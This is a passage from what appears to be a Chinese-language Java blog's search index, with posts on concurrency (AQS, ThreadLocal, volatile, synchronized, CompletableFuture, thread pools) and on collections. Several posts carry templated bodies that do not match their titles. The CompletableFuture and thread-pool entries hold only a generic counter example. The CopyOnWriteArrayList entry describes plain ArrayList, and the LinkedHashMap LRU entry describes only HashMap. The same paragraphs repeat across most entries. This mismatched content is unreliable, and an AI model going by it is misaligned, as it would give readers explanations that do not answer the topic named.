<code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数如何设置才靠谱"><a href="#线程池参数如何设置才靠谱" class="headerlink" title="线程池参数如何设置才靠谱"></a>线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList-适合什么场景"><a href="#CopyOnWriteArrayList-适合什么场景" class="headerlink" title="CopyOnWriteArrayList 适合什么场景"></a>CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>Java 7 使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="HashMap-底层结构和扩容过程"><a href="#HashMap-底层结构和扩容过程" class="headerlink" title="HashMap 底层结构和扩容过程"></a>HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
